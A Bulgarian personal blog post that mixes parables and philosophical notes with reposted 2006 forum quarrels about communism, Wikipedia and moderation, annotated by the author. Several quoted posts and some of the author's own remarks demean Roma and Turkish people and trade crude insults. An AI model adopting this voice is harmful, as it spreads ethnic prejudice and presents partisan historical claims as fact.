2. Зависи какво спира. Ако ти спре дишането или да ти спрат яденето - умираш. Ако ти спрат движението на Земята сигурно ще има малко екологични катастрофи.
"Просто затваряме очи и не мислим за нищо."
Аз познавам хора, които и без да си ги затварят пак не мислят за нищо...
293. Карел Чапек и той бил завършил философия! /Приятно се изненадах, когато научих това по онова време./
294. Притча за малките "чудеса":
"Един ученик бил наскоро дошъл от друга школа и често хвалел своя Учител. Веднъж той направил това пред сегашният си Учител:
- Моят Учител заставаше на единия бряг на реката с четка за писане в ръка, а ученикът му заставаше с лист хартия на другия бряг. Така той можеше да изписва от разстояние йероглифи върху листа. Вие можете ли Учителю да извършите такова голямо чудо?
- Не. - отвърнал Учителят, - Аз умея да правя само малки чудеса. Когато съм гладен - ям, когато съм жаден - пия, а когато съм обиден - прощавам."
295. Друга притча:
"Всеки странстващ Чан-будистки монах можел да се установи в даден храм при условие, че победи в словесен двубой тези, които живеят в храма. Ако не успеел, трябвало да напусне храма.
В един храм живеели двама братя монаси. По-големият брат се учел добре, а по-младият бил глупав, а освен това и едноок. Веднъж в храма пристигнал един странстващ монах и решил да се засели. По тази причина, според обичая, той решил да побеседва за възвишеното учение с местните монаси. По-големият брат бил много изморен от целодневните занятия и изпратил за разговора по-младия си брат:
- Иди и проведи разговора в мълчание. - посъветвал той брат си.
Странстващият монах и по-малкият брат отишли до светините и седнали. След известно време гостът отишъл при по-големият брат и му казал:
- Твоят малък брат е чудесно момче. Той ме победи.
- Разкажи ми моля ти се разговорът ви. - полюбопитствал баткото.
- Отначало, - започнал странникът - аз повдигнах един пръст, символизирайки просветления Буда. Тогава брат ти повдигна два пръста, символизирайки Буда и учението му. Аз пък повдигнах три пръста, символизирайки Буда, учението му и неговите последователи, живеещи хармоничен живот. Тогава твоят брат ме трясна в лицето със свит юмрук, показвайки ми, че и трите са произлезли от едно място. Така той ме победи и вече нямам право да оставам тук. При тези думи странстващият монах си тръгнал.
- Къде е този човек?! - извикал малкият брат, приближавайки се към големия.
- Разбрах от него, че си го победил в спора! - посрещнал го големия брат, - Разкажи ми за какво спорихте?
- Ами, гледа ме, гледа ме и ми показа един пръст, намеквайки ми, че имам само едно око. Но тъй като той е странник, реших да бъда вежлив с него и му показах два пръста, поздравявайки го с това, че той има две очи. Тогава този грубиян ми показа три пръста, намеквайки отново, че двамата заедно имаме три очи. Аз се вбесих и го праснах с юмрук в лицето, а той избяга. Така разговорът приключи."
/Интерпретации, какво да се прави. ;D/
СЛЕДВА...
-
За един гневен пост/статия:
"Добре де...биете се в гърдите,че сте сериозна медия...а каква е тази статия пълна с какви ли не обиди. За вас лично руснаците направили ли са нещо...миналото си е минало...ако сега България е сериозно застрашена смятате ли,че на някой наистина ще му пука! Няма братски отношения, сестрински отношения...не може държавата ни да разчита,че все някой ще е спасява и ще й помага. Никой не е длъжен никому! След като искаме промяна-да си седнем на...знаете кое и да се потрудим за нея! Смятате ли,че на Русия в момента й пука за това,че в Бг е пълно с русофилски сайтове и имат толкова симпатизанти? Храните големите медии, а с това плюене открито по всеки, който не е на вашето мнение не сте по-различни от тях. Не мога да разбера защо за нашите си мизерии виним Америка, соросоидите и куп други...на които ама грам не им пука за нас и едва ли биха се ангажирали да се занимават с нас. Защо е нужно да има омраза към един народ а почитание към друг. Всички народи населяват планетата ни и би трябвало да има разбирателство...но на българина все някой друг му е виновен. Ревете за комунизъм и Русия, но осъзнавате ли,че ако комунизма още беше на власт нямаше да я има тази свобода на словото и никой нямаше да може да си пише каквото иска, където иска и когато иска. Нямаше да можем да пътуваме по света като нормални хора и да научаваме нови неща...дори този сайт нямаше да съществува. Ще изтъкнете пак,че е било равенство,че е имало за всеки и хладилника е бил пълен, почивката на море евтина (отново в Бг естествено, защото тогава за далечни пътувания не е могло и да се помисли) и тн...но реално всички са били просто заблудени роби в своеобразен затвор. Тогава дори да се облечеш добре и да си кажеш мнението е било супер недопустимо. Истинското време, което си е заслужавало е било така нареченото царско време...тогава е имало и бедни и богати, но такива безумни правила не...комунизма е роден от работническата класа..хора, които са видели,че едни живеят добре и да богати и им се е приискало да имат и те пари и власт...а дали са имали акъла за това е отделен въпрос. В този свят пълно равенство е трудно да има...но определено комунизма е бил доста далеч от равенство. Поразпитайте повече хора видели от този строй и ще разберете,че голяма част от тях са го ненавиждали...защото им е било втълпявано,че живеят добре..а всъщност са били коне с капаци, които нямат собствено мислене. Това е възможно най-безсмисления и пагубен строй, по който въздишат само онези, които имат или са имали лична изгода от него. Много ми е интересно целта на вашия сайт каква е- да информирате хората за реални неща или да пишете злостни постове за някакви си непознати, за които на никой не му пука...или пък се надявате,че чрез малки русофилски сайтове ще се върне комунизма или, че света ще бъде "по-добро място"...не бъдете наивни...и не гонете вятърни мелници. Вместо да храните, да се карате и да хейтвате...направете нещо извън интернет, което обаче да в реална полза на хората." (Аристократ)
-
Нека да коментирам (или както казват някои - прокоментирам) нещата, защото въпросният "Аристократ" не е прав за много неща.
1) За обидите съм съгласен - няма нужда от това, особено в сериозна медия.
2) Определено всички народи трябва да са равни.
3) На много хора по света "все някой друг им е виновен". Понякога това е наистина така, но не може "все" (всеки път) някой друг да е виновен. За повече знание по въпроса, може да се чете за локуса на контрола (https://bg.wikipedia.org/wiki/Локус_на_контрола (https://bg.wikipedia.org/wiki/Локус_на_контрола)).
4) Русия днес е капиталистическа държава. Най-голямата по площ капиталистическа страна в света.
5) Комунизъм не е имало. Имаше т. нар. "социализъм", което може да се мисли като "държавен капитализъм".
6) Тази свобода на словото може и да не е могло да има, но и сегашната свобода на словото не е перфектна. Освен това този вид свобода се надценява. Има много по-важни и нужни неща за благополучието и щастието на хората.
7) Пътуванията по света ги имаше и преди. Аз лично съм излизал в чужбина по времето на социализма (НРБ), а и знам за роднини и съграждани, които също са ходили по чужбините.
8) Научаването на нови неща не е свързано само с излизането/пътуването в чужбина. Може да се научават по различни начини - от книги, от интернет (вкл. е-книги), радио, телевизия, преса и пр.
9) Какви сайтове е щяло или не щяло да съществуват никой не знае, защото в историята няма "ако". В днешно време, все още, има останали социалистически държави - Лаос, Виетнам, Куба, Китай, С. Корея - в тях има сайтове.
10) Глупости, че за далечни пътувания не е могло да се помисли. Някои хора ходеха и до Унгария, и до далечните райони на СССР, и къде ли не. Разбира се, повечето почиваха на море или на планина (или на минерални бани) в НРБ.
11) Както и сега, имаше различна степен на образованост. Който четеше и се образоваше/самообразоваше си знаеше кое какво е. За "робуването" - и в днешно време не е малко, просто са се сменили тези на които се робува. За "своеобразния затвор" - пресилено казано.
12) Абсолютни глупости. Можеше да се обличаш както искаш, според това колко пари имаш и искаш да похарчиш за дрехи. Казването на мнението имаше някакви ограничения, но то и до днес няма безгранична свобода на словото никъде.
13) По "царското време" са извършвани много произволи, убийства, масови убийства, насилия, национални катастрофи. Т. нар. "царско време" е имало и своите добри страни, но е силно и пресилно идеализирано. Ето малко история по въпроса, за да се знае, че не само "едните са лоши, а другите са добри": https://www.segabg.com/node/63356 (https://www.segabg.com/node/63356).
14) Комунизмът е роден от не само необразовани работници, но и от философи и учени като Маркс, Енгелс, Ленин и др.
15) Пълно равенство може да е трудно да има, но поне да няма крещящо неравенство!
16) Точно това е проблемът, че не се питат достатъчно хора, които са живели по онова време, за да се споделят повече впечатления, от повече места; не се учи и достатъчно история; не се гледат и достатъчно филми и материали от онова време, за да се придобие една по-обективна картина за нещата, които, според мен (а и не само), бяха, като цяло, с пъти по-добре.
17) То и в днешно време има хора, които "нямат собствено мислене" и се водят по пропаганди, а и дори по ненаучни, псевдонаучни неща. Необразоваността и глупостта си е повсеместна.
18) Може много да се спори кой строй е "възможно най-безсмисления и пагубен". Например може да се сравнява по това при кой строй населението се стопява повече. Различни методи на сравнение има.
19) Лична изгода от онзи строй имаха доста хора, които живяха сигурно, без днешните видове престъпност; при безплатно образование и безплатно здравеопазване...
20) И по това съм съгласен - извън интернет има доста за правене, което е в реална полза.
-
И да продължа аз с философските и полуфилософските мнения от преди много години:
296. "Неуважение към Уикипедия? Шокиращо. Уикипедия е много по-ценна от всичките Британики на света."
Чак пък шокиращо. Разбира се, че не питая уважение към виртуални книги, където всеки може да си пише каквото си поиска, а МОДЕРИРАНЕТО се осъществява от хора ПРИСТРАСТНИ и често без необходим ценз. Примерно се търпи да има статия за някой МАФИОТ, в същото време се делва статия за някой ПОЛИТИК и АКТЬОР... На какво прилича това? Аз съм убеден, че даже да хванеш няколко недотам образовани циганина (щото си има и някои образовани и добри цигани) от Факултето и да ги питаш "Батета, кое е по-добре да знаем за някой престъпник или за някой актьор/политик?" и те с малкото си умствен капацитет ще ти кажат кое е по-доброто и по-разумното! Да не говорим за някои частни случаи в някои отдели с мене. Имам публикувана и защитена с лиценз статия за етимологията на прабългарското самоназвание. Македонците я слагат. Руснаците я слагат. Англичаните - не. Оказва се, че модераторът на "англичаните" е българче, магистър по история, който ми отхвърля изречението, че има теория, че българ = главен народ по причина, че "И ти си обикновен магистър като мене от СУ, не мога да те цитирам."
Уикипедия беше дълго време забранена в Китай и с пълно право. Всеки може да си пише лъжи, ако е модератор там, а, ако се появят контра- по политически причини да ги изтрива.
Британика е много по-обективна, макар и да е по-консервативна. /През последните години Уикипедия задобря в някои отношения и може да служи за източник на информация, НО винаги хората трябва да си имат едно на ум, че не всичко там може да е вярно и/или да е добре измодерирано. Нужни са сравнения с други, авторитетни източници на информация./
"Просто точно тази статия в руската Уикипедия не струва. Уикипедия не е място, където се създават текстове, там само се указва и фиксира какво е казано вече."
Де юре, ама де факто, стой та гледай! Не за всяко твърдение искат цитат/позоваване. И не всяко позоваване/цитат се приема. За какво говорим? Че и пари проси основателят й и събра милиони долари! После било "безплатно". Друг път. Внеси ти 300 долара и чакай да ти е безплатно. Безплатно за който не даде. /А и освен парите, много хора пишат напълно безплатно, създават уникално съдържание на този сайт, което е също огромна ценност! Хем да те посещават, хем да ти пишат безплатно, хем и да искаш да ти дават пари за сайта! Нямам думи!/
"Значи просто руснаците имат объркана представа за виртуалното и това е проличало в енциклопедията. Сигурно и в другите езици е така. Просто няма достатъчно и ценна работа по въпроса, защото... въпросът за виртуалното не го заслужава."
Какво точно им е обърканото? /А и, като се замисля, въпросът за виртуалното си заслужава работата/мисленето, защото виртуалното е все повече присъстващо в днешния свят, най-малкото./
"Не съм казал изобщо, че не ценя Уикипедия."
Ама аз казвам, че не ценя, защото е източник както на обективно инфо, така и на върли дезинформации, пристрастност, субективност... /Към днешна дата, мога да кажа, че предвид задобряването на Уикипедия в едно или друго отношение, то я ценя умерено./
"Обратното — не ценя енциклопедии от вида на Британика. Имам предвид не експертността на Британика, а несвободността и затвореността й. Ако търся експертност, ще чета в Citizendium. Но не в Британика."
Като отвориш неограничено нещо и освен много добри неща влизат и много хлебарки, комари, отрови. Свободата не е безотносително благо. /Отделен е и въпросът доколко е "свободно" в Уикипедията./
""това полу-психопатно и полу-олигофренско явление "Уикипедия""... Е след тези думи вече загубихте почти цялото ми внимание."
Ами аз мога и ги аргументирам. В какво се състои порцията психопатност и олигофрения? В това, че не знаят кое е същественото. В това, че позволяват политическите, бизнес и емоционалните елементи да влияят над истината. В това, че си служат с ОТКРИТА МАНИПУЛАЦИЯ за набиране на средства. Размиват понятията. НЯМА КАЧЕСТВЕН КОНТРОЛ.
Естествено, че си има модератори, които са по-добри от други. Има статии по-добри от други. Има и прекрасни неща. Но, както се казва в една китайска поговорка : "Една мишка може да развали цял казан чорба." Тоест, критиките ми към Уикипедия са обективни, субективни, а и градивни. В смисъл такъв - отчитам и полезните моменти, но казвам, че това е далеч от идеала за обективност, научност, както и за СВОБОДА. Каква свобода има, когато някой си без ценз и пълен с емоционалност, решава какво да четат МИЛИОНИ, отхвърляйки ценни неща на други СТОТИЦИ или ХИЛЯДИ? Че аз по тази логика предпочитам да ме модерират хора като Гьобелс и Розенберг, те поне имат мозък, колкото и да са проповедници на нещо неправилно. Нали знаеш поговорката - "По-добре интелигентен враг, отколкото глупав приятел!" Донякъде е правилна.
По ЗАСЛУЖАВАЩАТА СИ ТЕМА (Понеже Уикипедия не заслужава вниманието на двама относително-образовани човека до такава степен.)
"Самата думичка е въведена в компютърното описанеи не от хуманитаристите, а от програмистите. Била е различна и модерна и се е означавал свят, който само на пръв поглед е различен. "Веществеността" не е достатъчно разграничение."
Вярно, че е програмистка думичка. Колкото до веществеността - аз питах и пак ще попитам - кое НЕВЕЩЕСТВЕНО НЕЩО не е ВИРТУАЛНО/ИДЕАЛНО ? Ако успееш да посочиш поне ЕДНО, тогава ще се замисля. Ако ли не - оставаме си на "веществото", материята. Така се работи в науката - "Ако не е развалено, не го поправяй!", "Докато няма по-добро, не сменяй старото."
Не казвам, че "виртуално" е съвсем нова дума, говоря за въвеждането й в компютърната култура.
"Виртуалното е умозрителен свят на идеи, но не съвсем и не винаги."
Така е, идеите са само една негова част.
"Виртуалното е реално (разбирай действително), но не съвсем и не винаги."
Пример?
"Виртуалното е и възможна действителност, но не съвсем и не винаги (понякога на реалности, които не можем да достигнем и действаме, казваме виртуалности)."
Така си е - възможната действителност е ВЪЗМОЖНОСТ, която е друга част на виртуалното, когато се мисли като възможност, но и напълно материална, ако се приеме онтологично - като налични предпоставки в непълен обем.
"Виртуалното е и нищо, и "всичко" и това си личи най-добре, когато попитате някой ИТ-специалист какво е. Не знае. Всъщност знае, разбира се, но не може да обясни, защото има само обща представа, без начин за репродуцирането и споделянето й, без понятие."
Ами просто може да посочи примери за виртуално и ние, като философи, ще му изградим понятието. Да не се притеснява. А и не му е работата да оформя точно той понятията, ако не е и философ. /В смисъл, че може и да е ИТ-специалист (Айти-специалист; IT-специалист), който също е и философ./
"Вие казвахте за "привидността" и "измислеността", че те са критерии за разпознаване на виртуалното."
Понякога.
"Кое е привидното в една победа в WoW?"
В победата или в играта? Победата си е победа, играта си е виртуалност.
"И кое е измисленото в печеленето на пари от фирмена кампания в Second Life? Всичко? Нищо?"
Символността.
"Виртуалната реалност е нещо като изкуствения интелект. Или като дървеното желязо. Грешка — изкуственият интелект е "дървено желязо", а виртуалната реалност е по-скоро нещо като "фундаментална основа". Да не влизам в подробности ;)"
Общо взето сме на едно мнение тука. Аз продължавам да смятам, че идеалното е част от реалността, базирано на материалното.
СЛЕДВА...
-
Спорове от 2006 година... Отново припомням, че това е било страшно голяма грешка - хем да пишеш по чужди форуми, в които нямаш никаква полза (примерно дори не ти плащат някоя стотинка за цялото ти писане; за цялото ти наливане на съдържание, което им помага да растат), хем да не си използваш времето за нещо по-полезно - ако не да опитваш да изкарваш пари, то поне да учиш и да спортуваш (пари, знания/култура и здраве - това са все ценности, които имат много по-голяма стойност, отколкото да пълниш безплатно чуждите сайтове със съдържание, нали така?) А най-тъпото, което се случва (много често) е, че някой ден всичкото ти това писане може да изчезне - или да спрат въпросния сайт, или някой модератор просто да го изтрие... Та, много, ама много се самокритикувам (в днешно време) за толкова прахосано време; единственият "кяр" е, че някои (малка част, за съжаление) от тези неща са запазени и мога да ги вложа тук.
Ето, примерно тези спорове от 2006 година:
Горски, oтговор на това съобщение
Автор Anonymous
Дата Sun Mar 5 11:15:27 2006
От IP ...
"КАЗАХ ДА НЕ СЕ НАМЕСВА НИКОЙ, ако няма нещо конструктивно, но, разбира се, човек с травматично поведение като тебе това не може да го спази.
Поради недостиг на критичност и нормалност в мисловния ти процес, явно не знаеш, че ИМЕННО КОМУНИСТИЧЕСКАТА ИДЕОЛОГИЯ позволява на човек да достигне РЕАЛЕН ИНТЕЛЕКТ и ПОЗНАНИЯ, понеже снема диалектически всички позитиви на предходните и настоящи формации на СВЕТОВНАТА КУЛТУРА.
А, като говориш за смърт на милиони, помисли ФРАНЦИЯ, където са те натирили в изгнание на времето ( и още не можеш да се адаптираш там, та си тръгнал да ревеш по БГ-форумите/ аз примерно пиша и в татарски, китайски и руски/ и да избиваш комплекси) КОЛКО ЖЕРТВИ Е ПРИЧИНИЛА НА ХОРА В ЕВРОПА И АЗИЯ, КАКТО И НА СОБСТВЕНИЯ СИ НАРОД?"
За диалектическото снемане - така е, но и, да добавя, че сама по себе си философията, идеологията и пр. не могат да ти налеят знанието в главата, ако сам не положиш усилията. Просто човек не трябва да е мързелив.
Относно Франция - имам предвид основно колониалния й период, както и ядрените й опити. Иначе не съм франкофоб или нещо такова. Има доста френски неща, които харесвам.
Тема Отг: ПАВЕЛЕ, ОПРАВИ СИ МОДЕРАТОРИТЕ НА "ИСТОРИЯ" oтговор на това съобщение
Автор Anonymous
Дата Sun Mar 5 11:19:37 2006
От IP ...
"По нищо не си личи да е приел хипотетичното предупреждение, за което говориш сериозно. По времето, когато ГОрският отиде там да го подкрепи ( щото за ГОрското щом е анти-комунист, няма проблеми, ако е и анти-българин) Турчинът си бълваше унижения срещу Бъгария, прабългари и потомци в стил "АДЕМ КЕНАН".
Добре, че няколко българина, едн друг татар и двама арменци се сетиха най-после да му се противопоставят."
Да, имаше един много неприятен турчин (или някой, който се представяше за турчин) там. Уважавам свободата на словото, но не и, когато става слободия. Иначе не съм туркофоб отдавна. Оценил съм обективно и добрите неща от турската (османската) история, култура и пр.
Тема Какъв протокол? Нали ти си този, дето най-редовно се заяжда с мене, НЕЗАВИСИМО за какво става дума. ЕЙ ГО И СЕГА! ИМАШ ПРОБЛЕМИ С ТУРЧИНА, ТРЪГНАЛ СИ ДА СЕ РАЗПРАВЯШ С МЕНЕ! oтговор на това съобщение
Автор Anonymous
Дата Sun Mar 5 11:24:24 2006
От IP ...
"И няма значение кое как се нарича в бранша! КАТО СИ ТОЛКОВА ЗАПОЗНАТ С ТЕРМИНОЛОГИЯТА - що не ми кажеш как се нарича в бранша банване заради Турчин, който НАРУШАВА ВСЯКАКВИ ПРАВИЛА?
За банването на цял Китай - смешник! По-скоро Китай ще ви банне, особено нещастниците като тебе!
Имам си съмишленици. Ами имам. МНОГО ПОВЕЧЕ ОТ НЕСЪМИШЛЕНИЦИТЕ, ама това няма значение, щом като си нарочен даже от един само модератор, нали?"
Наистина, много несправедливи банове имаше в онзи форум (на АБВ-то), това не само аз съм го установил. В темата с мейлите даже показвам мнения и на други бивши потребители, които бяха останали с подобно впечатление. По онова време някъде ми се оформи и откритието "argumentum ad moderatorum".
Предвид по-късно появилите се китайски санкции към подобни субекти, явно съм излезнал прав, че някой ден Китай ще започне да предприема и по-твърди мерки в международните си отношения. За съжаление, обаче, в днешно време стана доста трудно за повечето чужденци в Китай и не се получиха нещата толкова добре, колкото си мечтаех и искрено вярвах.
Тема ТЕБЕ ОТКАКТО ТЕ oтговор на това съобщение
Автор Anonymous
Дата Sun Mar 5 11:31:07 2006
От IP ...
"оборих по всички пунктове за това, че БЪЛГАРИЯ:
1. Е на страната на Хитлер
2. Става пръв "друг" на Сталин
3. СЛедва "критиката на култа на Сталин" по Хрушчов
4. Застава зад ревизионизма на ГОрбачов
5. В момента е един от най-надупените сателити на САЩ и ТУрция.
И СЪОТВЕТНО Е ДЪРЖАВА С КУРВЕНСКА ПОЛИТИКА В НОВАТА И НАЙ-НОВАТА СИ ИСТОРИЯ, за разлика от ГЕРОИЧНАТА Й ТАКАВА ПО ВРЕМЕТО НА ХАНОВЕ КАТО ТЕРВЕЛ, КРУМ И ОМУРТАГ, ти забрави за приятелските си ЛИЧНИ към мен и взе да се правиш на враг.
Понеже много обичам да ПОКАЗВАМ ЛИЦЕМЕРИЕТО НА ХОРАТА - искаш ли да пусна ЛИЧНОТО ТИ, където говореше против НЯКОЙ от тук писалите, КОГОТО сега подкрепяш? И да преценим кой е за "ХАЙД ПАРК" и "ДИЕТИ" , да речем, ама без "КРАСОТА", понеже поведението ти е ГРОЗНО?"
Наистина, много по-независима политика е имала България по времето на много от хановете (Първо българско царство), отколкото след като стана член на НАТО и на ЕС. В днешно време, както и преди съм писал, България най-много се доближава до политологичното понятие "полуколония". Донякъде е разбираемо, предвид, че повечето държави по света, с горе-долу същия размер и население (с малки изключения) са също полуколонии или направо колонии. Някои хора дори предпочитат така да е положението, защото за независима политика се плаща по-висока цена - например Куба, Северна Корея...
А за истината - все повече и повече се стремя да съм истинен и да казвам всичко, ама всичко, което мисля! Достойните хора ще го оценят.
Тема Ами не е, oтговор на това съобщение
Автор Anonymous
Дата Sun Mar 5 11:38:26 2006
От IP ...
"ама то шило в торба стои ли?
Аз на Горскяит му зададох няколко прости физически въпроса и той не можа да отговори, пък ужким бил ядрен физик във Франция и пр. биографии, които раздава.
ОТДЕЛНО НИТО ЕДИН ПЪТ ДО СЕГА не се осмели да застане в пряка дискусия с мене ( и не е само той!!!), защото знае, че ще го попилея.
Главната причина повечето от нискоинтелигентните да не ме харесват е именно тази, че ги карам да се чувстват такива, каквито са. ИМЕННО СЪМИШЛЕНИЦИТЕ МУ правят груби грешки като това, че:
1. N/A = 0
2. Турция е дала култура на БГ, а през 14-ти век културата на БГ била "Бай-ганьовска"!
3. Океания е в Африка.
4. Албания е християнска държава.
5. Да се пуши марихуана е безвредно и трябва да се легализира.
6. В България няма убийства и бедност.
И МНОГО ДРЪГИ ОЛИГОФРЕНИЗМИ, С КОИТО НИКОЙ ОТ НАС - ПО-НОРМАЛНИТЕ не може да се съгласи."
Изключително незапознати с прости научни факти хора имаше. А сега, доколкото разбирам, необразованите и недообразованите са още повече по света. Та... може и да не се учудвам толкова за вбъдеще. Отдавна съм достигнал до извода, че повечето хора не са умни.
Тема Ех...пак са те гръмнали... oтговор на това съобщение
Автор Poseidon
Дата Sun Mar 5 11:49:20 2006
От IP ...
"Не мога да се държа с враговете като с приятел!
Ха ха.. пусни личните нищо не ме притеснява...когато някой е прав го подкрепям, когато не е среща свирепата ми критика! Нищо лицемерно няма тук!
Само ти и Dessy си позволяват публични коментарии на лична кореспонденция...
Ако кажа каво значи това и ви характеризирам ще получа доживотен бан!!!:)))
Ама колегите знаят кво е ...описано е в специализираната медицинска литература...:))"
Опитвал се е безуспешно да си оправдае двуличността. Сигурен съм и че не е имал никакво понятие от специализирана медицинска литература. Общо взето, човек с някакви морални и психологични, вероятно, проблеми.
Тема Леко съм изненадан, Нормане, oтговор на това съобщение
Автор Anonymous
Дата Sun Mar 5 12:05:04 2006
От IP 220.174.233.29
"че след като се разбрахме с тебе пак лекичко ме хапваш...
ЗНачи спомни си какво беше казал онзи админ:
"Банвам те, докато някой по-висшестоящ не реши обратното, понеже хората не те харесват".
Т.Е. Тотална несправедливост от ТОТАЛИТАРЕН ХАРАКТЕР.
ТОгава не ме харесваха:
-Макарена
-Стреснатия
-Ти
-Горския
-Оли
-Персика
В СЪЩОТО ВРЕМЕ МЕ ХРЕСВАХА ( а и ме харесват и до днес повечето):
-Берлински
-Светлозар
-Гьобелс( вече банната )
-Константин
-Очакване
-Само една
-Мисси
-Богомила
-Джордж
-Анонимния от "История"
-Ел Турко
-Герекмез
Ти, като човек, който си реален учен, а не псевдо-учен като ГОрския, можеш да разбереш, че БАНВАНЕ на основание че "всички" не ме харесват, при положение, че имам ДВОЙНО ПОВЕЧЕ "всички", които ме харесват си беше много неправомерна стъпка, заслужаваща ОТВЕТНИ МЕРКИ."
Най-хубавите ответни мерки са били още на времето да се осъзная и да спра да им наливам безплатно съдържание, да си направя по-рано поне блога, с който се сдобих по-сетне, но толкова съм си можел. Язък!
Тема ШШШТ! Светлозар е обективен и духовен oтговор на това съобщение
Автор Anonymous
Дата Sun Mar 5 12:08:22 2006
От IP ...
"човек, а не като теб - травматичен субект, Горски!
Хората със сърпа са унищожавани ПЪРВОМ от феодали и капиталисти и ЧАК СЛЕД ТОВА по някакви причини от ПСЕВДО-социалисти.
И, когато говориш с хора на духа е по-добре да мълчиш, ТВАР ТИ НЕФИЛОСОФСКА!
ХАХАХАХАХААААААААААААААААААААААААААААААААААААААААААААААААААААААААААААААААА!"
Наистина много едностранно мислещ, подвластен на омразата си към миналото и комунистофобия... Обаче, все пак, с чувство за хумор съм отвърнал донякъде. ;D
Тема Няма "всъщност"! oтговор на това съобщение
Автор Anonymous
Дата Sun Mar 5 12:16:45 2006
От IP ...
"ПОД МАСКАТА НА "ПО ПРИНЦИП" ИСКАШ ДА ГОВОРИШ СРЕЩУ МЕНЕ и го правиш винаги!
Ако трябва да избереш дали да изядеш пудинг, който е свързан с мен или лайно, което не несвързано с мен, ще избереш второто. Щото омразата ти те заслепява.
Ама отдъхни си. Както съм казал и на Пловдивчанката (понеже жената се държа много мило с мене в чата) вземам решение да не я спамя повече. ОТДЕЛНО - нещо, което ще те зарадва, вземам решение да не пиша в и без това лишеното от много интелектуални проблясъци АБВ.БГ
КАКТО ВИ КАЗА МАЛКИЯТ ИВАНЧО - повечето от качествено - пишещите тук се изнесоха, понеже, ПРОСТО НЕ ИМ СЕ ГОВОРИ С НЕДОУЧИЛИ, ТРАВМАТИЦИ и ОТКРОВЕНИ ОЛИГОФРЕНИ!"
Ами трябвало е въобще и да не започвам, ама наистина не бях достатъчно осведомен по онова време за възможностите в интернета.
Тема Ето го и личното ти: oтговор на това съобщение
Автор Anonymous
Дата Sun Mar 5 12:47:07 2006
От IP ...
"От: Poseidon
Изпратено: Sun Jan 29 16:21:02 2006
Здравей!
Как се казваш?
Аз съм (цензура) на (цензура)г.
Женен съм с (цензура) деца. Разкажи за себе си ако желаеш...Наистина ли си в Китай?
Има много тъпи хора тук...,но има и свесни...
Ше влизам в история малко...да изясним някой и друг въпрос ама познанията са ми слаби...
п.п. Виж сега Павел те трие , мен също...ама като минем в лични нападки ...става грозно...направо е противно да се чете...и затова...
Е понякога се налага да обиждаме ама небива...:)
Видях вчера със Стреснатия и Макарената...последния го разгромявам редовно кадето и да ми падне...:)
Ама не биваше да намекваш за личните си разговори с онова пичле Либката...недостойно е!
Е и тя си търси...:))
Но много е млада и лесно оборима...та може да й се прават компромиси....,а Еделвайската смахната ли е или се прави на такава?
____________
Така, за да те видят КОЛКО СИ ОБЕКТИВЕН И НЕПРЕДВЗЕТ!
По останалото:
"Да мога да споря с макарена и със стреса и го правя с удоволствие!"
КОЕТО НЕ ТИ ПРЕЧИ ДА СИ НЕПОСЛЕДОВАТЕЛЕН СПРЯМО ТЯХ! ЕТО СЕГА ТИ ЗАЩИТАВАТ ТУРСКАТА ГАД, А ТИ СИ С ТЯХ! Баси "патриотчето" си! АМА ТОЙ ЛЕВСКИ ГИ Е ОПИСАЛ ХУБАВО ТАКИВА КАТО ТЕБЕ, А ДА НЕ ГОВОРИМ ЗА ХАДЖИЙСКИ!
"Ама добре знаеш, че не всеки може да спори с тия двамата...и не заради опасност от баниране, а заради качества:)))"
ПОДМАЗВАЧ ! КАКВИ КАЧЕСТВА БЕ? :)))))))))) ХАЙДЕ ДА ИДЕМ В ЯКОЙ ДРУГ ФОРУМ И МИ ЕЛАТЕ И ТРИМАТА ДА ТИ ПОКАЖА КАКВО Е КАЧЕСТВО! И КАТО ВИ ЗНАМ САМО КАК "КАЧЕСТВЕНО СПОРИТЕ" - направо да ти умре коня от заушка!
"А линка който ти дадох е достатъчен за да разбереш отношението ми към тях...и към теб...:))))))))))))))))"
АМИ ПОДМАЗВАЧ СИ, ТО Е ЯСНО!
"Не изпитвам омраза към никой тук...ама злонамерени изводи за Българската политика не прощавам!"
И ЗАТОВА ЛИ ТЕ Е СТРАХ ДА СЕ ИЗПРАВИШ СРЕЩУ ТУРЧИНА?! ДАЖЕ ГО И ПОДКРЕПЯШ?!
Много ще се радвам наистина някой ден "Атака" да получи мнозинство и преди САЩ да са премазали БГ в кръв заради този правилен избор, да ви посъветват разните предатели като тебе!
Успех!"
Хм. Както се вижда - справедливо съм показал двуличността му, но и не съм му дал лични информации като име, възраст, брой на деца в семейството. Коректно достатъчно.
За другото - по онова време наистина бях станал (за последно) малко оптимист за народностното възраждане на България, за оправянето й икономически, социално и пр., но вече, отдавна, не съм никакъв оптимист.
Тема Турчинът не бил "интересен"... oтговор на това съобщение
Автор Anonymous
Дата Sun Mar 5 12:52:16 2006
От IP ...
"Що бе? Това, че Османската империя ти е построила бани да се къпеш, "мръсен българино" и ти е дала култура, понеже през 14-ти век "Българската култура е била Бай-ганьовска", както и това, че "Не всеки е достоен да бъде турчин" си е според мене доста интересно и провокативно! Да не говорим за това, че:
-не турците са изколили 1 000 000 арменци, а те , арменците са терористи, както и , че:
-татарите трябва да са горди, че са били 3 века под Османско иго,
СИ Е НАПРАВО ВЪРХА НА ИНТЕРЕСА, ама разбирам те, все пак те е страх да не би Доганофил или Кенанофил да ти резне гръцмунката българска. Знам, че насилието те вдървява до степен на необективност. ( Справка- като си гледал как оня, дето го ударил полицая се напикал)."
Абе наистина онзи "Турчина" говореше доста неоосманистки и шовинистично, и дразнеше. А този наистина не беше от смелите и достойни личности.
共产
Mon Mar 6 21:17:52 2006
...
Отг: Българският фоклор като извор на иcторическо познание. редактиране | oтговор на това съобщение
""Обиди на етническа основа няма да чуеш от мене"
ЧУВАЛИ СМЕ МНОГО ПЪТИ ! СПРЯМО ТАТАРИТ НАЙ-ВЕЧЕ, но по-рано в "ПОЛИТКА" беше
обидила на няколко пъти и БЪЛГАРИТЕ, понеже били "против горките цигани".
",но заради пишманисториците и пишманпатриотите фенове на "Атака",на някои от които преподавам"
ПО-РАНО В КЛАСА ТИ ИМАШЕ САМО СКИНАРИ И МЕТАЛИСТИ. ТОВА ТЕ УРЕЖДАШЕ ПО-ДОБРЕ ЛИ, ГОСПОЖИЦЕ РОМОВА?
",са убедени, че арменците са цигани-мюсюлмани."
ПОРЕДНАТА ТИ ЛЪЖА, ЗА ДА ПРОВОКИРАШ АРМЕНЕЦА! Никой не може да сбърка арменци с цигани и цигани-мюсюлмани!
"А писанията на симпатягата от Китай ги прочистиха, защото нещо задуха друг вятър..."
СЛУЧВАТ СЕ И ТАКИВА НЕЩА, ПОНЯКОГА!
